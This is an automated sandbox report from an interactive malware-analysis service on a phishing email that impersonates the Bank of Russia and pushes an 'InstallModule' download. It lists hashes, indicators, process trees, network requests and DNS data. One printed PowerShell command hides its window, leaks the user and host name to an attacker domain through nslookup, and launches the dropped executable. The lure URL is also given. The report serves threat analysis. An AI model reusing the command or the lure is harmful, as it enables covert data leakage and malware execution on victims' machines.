File name:

Важно установка модуля системы конфиденциальной корреспонденции для функционирования электронного обмена сообщениями с Центральным Банком России.msg

Full analysis: https://app.any.run/tasks/a3338126-3bd4-4dcc-ad03-364b2d13545b
Verdict: Malicious activity
Analysis date: September 19, 2023, 13:31:56
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/vnd.ms-outlook
File info: CDFV2 Microsoft Outlook Message
MD5:

250C7F0D2F4A3BFEBC1CB3F7626632B5

SHA1:

C33D6DA1B1A508498333E3CB7298BE80888B680D

SHA256:

B56C3A382B755C86ABAAA24F2C161F9261C81328C02C8577F7C0B7EC80E76C7B

SSDEEP:

768:LnvQ7r/SWsKlFWqpcAH/f+gi++4xBkfs0UU2gxQuYcfkHl8veZO3OsymPf5j6WRQ:8T/WqpHHXjZ8fzUeKcfi8mZBp

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 2364)
      • powershell.exe (PID: 948)
      • powershell.exe (PID: 3220)

    • Application was dropped or rewritten from another process

      • InstallModule.exe (PID: 2420)
      • InstallModule.exe (PID: 2316)

  • SUSPICIOUS

    • Powershell version downgrade attack

      • powershell.exe (PID: 2364)
      • powershell.exe (PID: 948)
      • powershell.exe (PID: 3220)

    • Uses NSLOOKUP.EXE to check DNS info

      • powershell.exe (PID: 2364)
      • powershell.exe (PID: 948)
      • powershell.exe (PID: 3220)

    • The process bypasses the loading of PowerShell profile settings

      • WinRAR.exe (PID: 3512)

    • Reads the Internet Settings

      • powershell.exe (PID: 2364)
      • powershell.exe (PID: 3220)
      • powershell.exe (PID: 948)

    • Starts POWERSHELL.EXE for commands execution

      • WinRAR.exe (PID: 3512)

    • The process hides Powershell's copyright startup banner

      • WinRAR.exe (PID: 3512)

  • INFO

    • Manual execution by a user

      • wmpnscfg.exe (PID: 3196)

    • Checks supported languages

      • wmpnscfg.exe (PID: 3196)
      • InstallModule.exe (PID: 2420)
      • InstallModule.exe (PID: 2316)

    • Reads the computer name

      • wmpnscfg.exe (PID: 3196)
      • InstallModule.exe (PID: 2420)
      • InstallModule.exe (PID: 2316)

    • Reads the machine GUID from the registry

      • wmpnscfg.exe (PID: 3196)
      • InstallModule.exe (PID: 2420)
      • InstallModule.exe (PID: 2316)

    • The process uses the downloaded file

      • msedge.exe (PID: 444)
      • WinRAR.exe (PID: 3512)

    • Application launched itself

      • msedge.exe (PID: 860)

    • Reads Microsoft Office registry keys

      • InstallModule.exe (PID: 2316)
      • InstallModule.exe (PID: 2420)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.msg | Outlook Message (58.9)
.oft | Outlook Form Template (34.4)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
79
Monitored processes
35
Malicious processes
6
Suspicious processes
3

Behavior graph

Click at the process to see the details
start drop and start drop and start outlook.exe wmpnscfg.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs winrar.exe no specs powershell.exe no specs nslookup.exe powershell.exe no specs nslookup.exe msedge.exe no specs powershell.exe no specs nslookup.exe installmodule.exe no specs installmodule.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
124"C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE" /f "C:\Users\admin\AppData\Local\Temp\29cf8e78-1fd2-4eb0-a1b8-0f90ca83dc49.msg"C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Outlook
Exit code:
0
Version:
14.0.6025.1000
Modules
Images
c:\program files\microsoft office\office14\outlook.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\system32\sechost.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
444"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2488 --field-trial-handle=1320,i,8762169259997517144,6837430427134963582,131072 /prefetch:8C:\Program Files\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Edge
Exit code:
0
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\cryptbase.dll
860"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --single-argument https://ddei5-0-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fstorage.cbr.team%2fmodule%3fpageid%3ddfV4jKZ%26version%3d115a4&umid=4D650B71-05B5-E706-A43B-F1E3B86B413F&auth=625e2ec5d7ab7fa1a0e15b1adfe319389eb0f9d9-6cc9923337202528fdd4de890a3c1e9bfb16713dC:\Program Files\Microsoft\Edge\Application\msedge.exe
OUTLOOK.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Edge
Exit code:
0
Version:
109.0.1518.115
Modules
Images
c:\windows\system32\ntdll.dll
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
948"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -noprofile -w 1 $l=gl;cd $l;nslookup uxeYuxTRMF8pMa.sce1.admin.USER-PC.USER-PC.b.akteam.team; start .\InstallModule.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1180"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4480 --field-trial-handle=1320,i,8762169259997517144,6837430427134963582,131072 /prefetch:8C:\Program Files\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
1444"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3732 --field-trial-handle=1320,i,8762169259997517144,6837430427134963582,131072 /prefetch:8C:\Program Files\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
109.0.1518.115
Modules
Images
c:\windows\system32\ntdll.dll
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
1936"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=renderer --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=3896 --field-trial-handle=1320,i,8762169259997517144,6837430427134963582,131072 /prefetch:1C:\Program Files\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
1952"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=renderer --first-renderer-process --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2272 --field-trial-handle=1320,i,8762169259997517144,6837430427134963582,131072 /prefetch:1C:\Program Files\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
1952"C:\Windows\system32\nslookup.exe" uxeYuxTRMF8pMa.sce1.admin.USER-PC.USER-PC.b.akteam.teamC:\Windows\System32\nslookup.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
nslookup
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\nslookup.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\wsock32.dll
c:\windows\system32\ws2_32.dll
2272"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1264 --field-trial-handle=1320,i,8762169259997517144,6837430427134963582,131072 /prefetch:2C:\Program Files\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
109.0.1518.115
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cryptbase.dll
Total events
14 860
Read events
14 265
Write events
572
Delete events
23

Modification events

(PID) Process:(124) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(124) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
On
(PID) Process:(124) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
On
(PID) Process:(124) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
On
(PID) Process:(124) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
On
(PID) Process:(124) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
On
(PID) Process:(124) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
On
(PID) Process:(124) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
On
(PID) Process:(124) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1042
Value:
On
(PID) Process:(124) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1055
Value:
On
Executable files
3
Suspicious files
51
Text files
81
Unknown types
4

Dropped files

PID
Process
Filename
Type
124OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\CVR7769.tmp.cvr —
MD5:—
SHA256:—
124OUTLOOK.EXEC:\Users\admin\Documents\Outlook Files\Outlook Data File - NoMail.pst —
MD5:—
SHA256:—
860msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old~RF10efa1.TMP —
MD5:—
SHA256:—
860msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old —
MD5:—
SHA256:—
124OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\outlook logging\firstrun.logtext
MD5:C555CD7BEA9C0962C835675A7BFEAA0F
SHA256:618C03F4164B66872E95073379D4117D183B4D6660939031C2935CD2693298CE
124OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Outlook\RoamCache\Stream_ConversationPrefs_2_988E3A672B28184AAF17CD1E8C9D0E2E.datxml
MD5:57F30B1BCA811C2FCB81F4C13F6A927B
SHA256:612BAD93621991CB09C347FF01EC600B46617247D5C041311FF459E247D8C2D3
124OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Outlook\RoamCache\Stream_AvailabilityOptions_2_D36CA595848CDF4BAB4AA870C36DB1CE.datxml
MD5:EEAA832C12F20DE6AAAA9C7B77626E72
SHA256:C4C9A90F2C961D9EE79CF08FBEE647ED7DE0202288E876C7BAAD00F4CA29CA16
124OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\{EFB79282-7807-41DA-B767-EE25EAFAA3F1}\{1C306CB1-771E-4B4B-A902-86E897877F5B}.pngimage
MD5:4C61C12EDBC453D7AE184976E95258E1
SHA256:296526F9A716C1AA91BA5D6F69F0EB92FDF79C2CB2CFCF0CEB22B7CCBC27035F
860msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old~RF10efb1.TMP —
MD5:—
SHA256:—
860msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
14
TCP/UDP connections
75
DNS requests
69
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
124
OUTLOOK.EXE
GET
—
64.4.26.155:80
http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig
unknown
—
—
unknown
2320
msedge.exe
GET
204
13.107.6.158:80
http://edge-http.microsoft.com/captiveportal/generate_204
unknown
—
—
unknown
868
svchost.exe
HEAD
200
178.79.242.0:80
http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/90e233fa-faa4-4607-8abf-33baa9eb7e2c?P1=1695729565&P2=404&P3=2&P4=HCwJwKKwaEaTgZd9ivatAiDXa3PJoxybJiGZIQ7axJ0oMNfWEDsYTNJlb61V2TQE%2fx0rwg8g9WUfxXE2n%2f8%2bpg%3d%3d
unknown
—
—
unknown
2320
msedge.exe
GET
301
172.67.212.6:80
http://storage.cbr.team/module/?pageid=dfV4jKZ&version=115a4
unknown
—
—
unknown
868
svchost.exe
GET
—
178.79.242.0:80
http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/c78f9967-7a8c-44b0-ad94-732b63c89638?P1=1695712230&P2=404&P3=2&P4=j0qJJ%2bEHMnV8FS02WlYpLac7lUu1DQPwWv%2bPgC6Hzd91DATXBKkR3T%2fryklKhoePqO%2fFDauP29kZijUHJZxBKg%3d%3d
unknown
—
—
unknown
868
svchost.exe
GET
206
178.79.242.0:80
http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/90e233fa-faa4-4607-8abf-33baa9eb7e2c?P1=1695729565&P2=404&P3=2&P4=HCwJwKKwaEaTgZd9ivatAiDXa3PJoxybJiGZIQ7axJ0oMNfWEDsYTNJlb61V2TQE%2fx0rwg8g9WUfxXE2n%2f8%2bpg%3d%3d
unknown
binary
10.9 Kb
unknown
868
svchost.exe
GET
206
178.79.242.0:80
http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/90e233fa-faa4-4607-8abf-33baa9eb7e2c?P1=1695729565&P2=404&P3=2&P4=HCwJwKKwaEaTgZd9ivatAiDXa3PJoxybJiGZIQ7axJ0oMNfWEDsYTNJlb61V2TQE%2fx0rwg8g9WUfxXE2n%2f8%2bpg%3d%3d
unknown
binary
19.8 Kb
unknown
868
svchost.exe
GET
206
178.79.242.0:80
http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/c78f9967-7a8c-44b0-ad94-732b63c89638?P1=1695712230&P2=404&P3=2&P4=j0qJJ%2bEHMnV8FS02WlYpLac7lUu1DQPwWv%2bPgC6Hzd91DATXBKkR3T%2fryklKhoePqO%2fFDauP29kZijUHJZxBKg%3d%3d
unknown
binary
165 Kb
unknown
868
svchost.exe
GET
206
178.79.242.0:80
http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/90e233fa-faa4-4607-8abf-33baa9eb7e2c?P1=1695729565&P2=404&P3=2&P4=HCwJwKKwaEaTgZd9ivatAiDXa3PJoxybJiGZIQ7axJ0oMNfWEDsYTNJlb61V2TQE%2fx0rwg8g9WUfxXE2n%2f8%2bpg%3d%3d
unknown
binary
14.5 Kb
unknown
868
svchost.exe
GET
206
178.79.242.0:80
http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/90e233fa-faa4-4607-8abf-33baa9eb7e2c?P1=1695729565&P2=404&P3=2&P4=HCwJwKKwaEaTgZd9ivatAiDXa3PJoxybJiGZIQ7axJ0oMNfWEDsYTNJlb61V2TQE%2fx0rwg8g9WUfxXE2n%2f8%2bpg%3d%3d
unknown
binary
6.71 Kb
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
3284
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
1088
svchost.exe
224.0.0.252:5355
—
—
—
unknown
4
System
192.168.100.255:137
—
—
—
whitelisted
124
OUTLOOK.EXE
64.4.26.155:80
config.messenger.msn.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
2320
msedge.exe
54.244.106.60:443
ddei5-0-ctp.trendmicro.com
AMAZON-02
US
unknown
2320
msedge.exe
13.107.42.16:443
config.edge.skype.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
2320
msedge.exe
51.104.176.40:443
nav-edge.smartscreen.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
2320
msedge.exe
204.79.197.239:443
edge.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown
860
msedge.exe
239.255.255.250:1900
—
—
—
whitelisted

DNS requests

Domain
IP
Reputation
config.messenger.msn.com
  • 64.4.26.155
whitelisted
ddei5-0-ctp.trendmicro.com
  • 54.244.106.60
  • 54.186.63.183
  • 54.69.34.243
unknown
config.edge.skype.com
  • 13.107.42.16
whitelisted
nav-edge.smartscreen.microsoft.com
  • 51.104.176.40
  • 20.105.95.163
whitelisted
edge.microsoft.com
  • 204.79.197.239
  • 13.107.21.239
whitelisted
www.bing.com
  • 104.126.37.155
  • 104.126.37.136
  • 104.126.37.152
  • 104.126.37.154
  • 104.126.37.146
  • 104.126.37.160
  • 104.126.37.144
  • 104.126.37.139
  • 104.126.37.161
  • 104.126.37.128
  • 104.126.37.153
  • 104.126.37.137
  • 104.126.37.131
  • 104.126.37.130
  • 13.107.21.200
  • 204.79.197.200
  • 104.126.37.162
whitelisted
self.events.data.microsoft.com
  • 20.189.173.16
  • 20.189.173.9
whitelisted
dns.msftncsi.com
  • 131.107.255.255
shared
edge-http.microsoft.com
  • 13.107.6.158
whitelisted
msedge.b.tlu.dl.delivery.mp.microsoft.com
  • 178.79.242.0
  • 178.79.242.128
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Важно установка модуля системы конфиденциальной корреспонденции для функционирования электронного обмена сообщениями с Центральным Банком России.msg